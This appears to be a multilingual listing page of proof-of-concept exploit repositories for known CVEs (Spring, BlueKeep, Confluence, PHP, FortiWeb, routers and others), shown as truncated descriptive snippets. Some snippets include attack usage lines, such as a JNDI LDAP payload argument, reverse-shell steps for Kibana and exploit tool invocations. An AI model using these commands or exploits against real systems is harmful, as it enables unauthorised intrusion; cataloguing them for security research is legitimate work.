spring-framework-rce

spring-framework-rce CVE-2022-22965 المتطلبات البيئية 1. tomcat8 8 طريقة الاستخدام 1. حمّل springframeworkrce-0.0.1-SNAPSHOT.zip وبعد فك الضغط، غيّر الاسم إلى ROOT.war. 2. استبدل مجلد ROOT أو ملف ROOT.war الموجود في مجلد webapps داخل tomcat. 3. انتقل إلى مسار bin داخل tomcat، ثم نفّذ .\catalina.b...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 استغلال أولي لـ CVE-2019-0708، BlueKeep CVE-2019-0708 BlueKeep RDP: استخدام بعد التحرير عن بُعد في نواة ويندوز يعالج برنامج التشغيل termdd.sys في RDP الارتباطات بالقناة الداخلية MST120 بشكل غير صحيح، مما يسمح لرسالة Disconnect Provider Indication غير صالحة بالتسبب في استخدام بعد...

CVE-2026-14982 WP File Download <= 6.3.4 - Authenticated (Subscriber+) Arbitrary File Deletion via 'remoteurl' Parameter

The WP File Download plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete function in all versions. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server,...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

CVE-2022-25581

CVE-2022-25581 Introuvable sur tout le web, je laisse une sauvegarde, script d'exploitation Python , pour automatiser les étapes suivantes : ✅ Objectifs du script 1. Se connecter à l'interface d'administration obtenir csrf et token 2. Construire une requête malveillante pour télécharger une archi...

CVE-2019-7609

CVE-2019-7609 إعداد مختبر دوكر لـ kibana-7609 المرجع : https://github.com/mpgn/CVE-2019-7609 root@kitploit: افتح كيبانا الصق إحدى الحمولات التالية في أداة التصور Timelion انقر على تشغيل على اللوحة اليسرى، انقر على Canvas يجب أن تظهر شلّتك العكسية! : الحمولة بواسطة @securityMB...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework दूरस्थ कोड निष्पादन भेद्यता CVE-2022-22965 Spring-Core-RCE एक rce एक-क्लिक उपयोग उपकरण है जो Apache Log4j2 परमाणु-स्तर भेद्यता exp के बराबर है। अवलोकन हाल ही में, Spring आधिकारिक GitHub issue में Spring Core की दूरस्थ कोड निष्पादन भेद्यता का उल्लेख किया गया था, यह...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research بحث Pulse Secure mitm تاريخ الإصدار تاريخ إصدار مشترك مع البائع: 26 أكتوبر 2020 المؤلف David Kierznowski, @withdk شكر وتقدير Sahil Mahajan من فريق Pulse Secure PSIRT لدعمه طوال عملية الإفصاح. Alyssa Herrera وJustin Wagner وMimir وRich Warren لكتابتهم: "Red Teamer’s...

confluence-rce-poc

confluence-rce-poc Configuration du POC pour CVE-2021-26084 Docker Utilisez le fichier docker-entrypoint.sh officiel pour postgres, modifiez le nom d'utilisateur et le mot de passe de la base de données selon vos besoins...

pulse-gosecure-rce-poc

root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /::::\ :::\ \ /:::/ /...

CVE-2023-46404

CVE-2023-46404 PCRS هو تطبيق ويب لتمارين البرمجة عبر الإنترنت تم تطويره في جامعة تورنتو. انظر مستودع Bitbucket: https://bitbucket.org/utmandrew/pcrs/src/3.11/ ملخص صفحة 'الأسئلة' في PCRS مع تقديم الكود وصفحة 'محرر الكود' عرضة لتنفيذ التعليمات البرمجية عن بُعد RCE عن طريق الهروب من وضع الحماية...

HG532d-RCE-Exploit

استغلال RCE لجهاز HG532d نظرة عامة استغلال لتنفيذ التعليمات البرمجية عن بُعد RCE يعتمد على ثغرة CVE-2017-17215. تم تعديله من كود PoC الأصلي من exploit-db.com ليعمل على أجهزة توجيه هواوي المنزلية من طراز HG532d. الوصف يعتمد استغلال RCE هذا على ثغرة CVE-2017-17215 التي تستغل نقاط الضعف في عملية UPn...

CVE-2024-4577

هذا هو POC لـ CVE 2024-4577 يسمح هذا الاستغلال للمهاجم بتنفيذ RCE في إصدارات PHP مثل PHP 8.3 8.3.8 و PHP 8.2 8.2.20 و PHP 8.1 8.1.29 يمكنك الاطلاع على الوسائط من الكود! لمعرفة المزيد حول هذا الاستغلال تحديدًا، راجع nist.gov...

CVE-2022-26134-Confluence-RCE

CVE-2022-26134 के लिए शोषण: OGNL इंजेक्शन के माध्यम से कॉन्फ्लुएंस प्री-ऑथ रिमोट कोड निष्पादन OGNL भूमि में एक और शोषण विवरण कॉन्फ्लुएंस ऑस्ट्रेलियाई सॉफ्टवेयर कंपनी Atlassian द्वारा विकसित एक वेब-आधारित कॉर्पोरेट विकी है। 02 जून, 2022 को Atlassian ने अपने Confluence Server और Data Center...

CVE-2020-27955-LFS-main

Git-lfs रिमोट कोड एक्सीक्यूशन RCE शोषण CVE-2020-27955 .bat / पॉवरशेल संस्करण संवेदनशील: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken आदि। Dawid Golunski द्वारा खोजा गया https://legalhackers.com https://exploitbox.io विंडोज पर परीक्षित: git, GitHub CLI gh...

CVE-2023-24489-poc

CVE-2023-24489-poc POC لـ CVE-2023-24489 باستخدام bash. يتطلب قائمة target.txt مليئة بالأهداف التي تريد اختبارها بالتنسيق التالي: https://example1.com https://example2.com https://example3.com يجب أن يكون الملف في نفس المجلد الذي يُنفَّذ فيه سكربت bash. يرجى استخدامه بحذر ! المرجع:...

CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE الطريقة الأصلية للاستغلال تعتمد على رفع إضافة EMQX، وإضافة استدعاء وحدة Erlang os في قالب كود الإضافة لتنفيذ أوامر النظام والحصول على RCE في بيئة متصلة بالإنترنت، حيث توجد أداة curl افتراضيًا، يمكن مباشرة استخدام curl...

CVE-2026-22812-POC

أداة استغلال OpenCode CVE-2026-22812 أدوات Python بسيطة للتحقق من ثغرة OpenCode واستغلالها CVE-2026-22812. التثبيت root@kitploit: git clone https://github.com/CayberMods/CVE-2026-22812-POC.git cd CVE-2026-22812-POC pip install requests urllib3 argparse concurrent-log-handler colorama الاستخدام...

watchTowr-vs-FortiWeb-CVE-2025-25257

watchTowr-vs-FortiWeb-CVE-2025-25257 مولد أثر الكشف لـ FortiWeb CVE-2025-25257 انظر منشور مدونتنا للتفاصيل التقنية https://github.com/user-attachments/assets/e59f2b3b-2b9b-469f-b4a8-2b7df2ede194 الكشف أثناء العمل root@kitploit: python watchTowr-vs-FortiWeb-CVE-2025-25257.py --target...